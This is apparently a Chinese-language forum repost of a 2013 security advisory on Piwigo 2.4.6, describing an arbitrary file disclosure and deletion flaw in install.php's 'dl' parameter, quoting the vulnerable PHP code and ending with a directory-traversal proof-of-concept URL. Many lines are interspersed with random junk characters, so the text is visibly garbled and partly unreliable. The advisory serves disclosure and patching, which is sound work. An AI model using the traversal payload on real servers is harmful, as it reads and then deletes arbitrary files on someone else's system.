Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
4 F0 B$ {' u  n7 K-------------
* T/ G* U2 P2 m" [. j113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. ^/ J' [% v# f8 \116:   header('Cache-Control: no-cache, must-revalidate');
7 y6 B; j( N0 ]$ b117:   header('Pragma: no-cache');
& S9 Q4 \0 D3 l118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
8 b: p; C- ~& T0 M0 V1 N121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
! C( j" }2 E. B. w====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
) w% s3 K8 x( Q; ?, n/ C1 h           MySQL 5.5.25a

% C; x/ c2 L' Z1 z; |& b1 LVulnerability discovered by Gjoko 'LiquidWorm' Krstic
8 b. X* ?# e6 |% s: l0 |                            @zeroscience
! k/ N9 C, L( ^: g
Advisory ID: ZSL-2013-5127
% V$ X0 b% W% F/ w1 R2 ]Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ _6 ?/ B. p. v. c/ G# n6 [Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
0 ~" y: T- Z$ E6 c7 m
15.02.2013
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--
1 V  t" N7 `1 I0 R7 w- ohttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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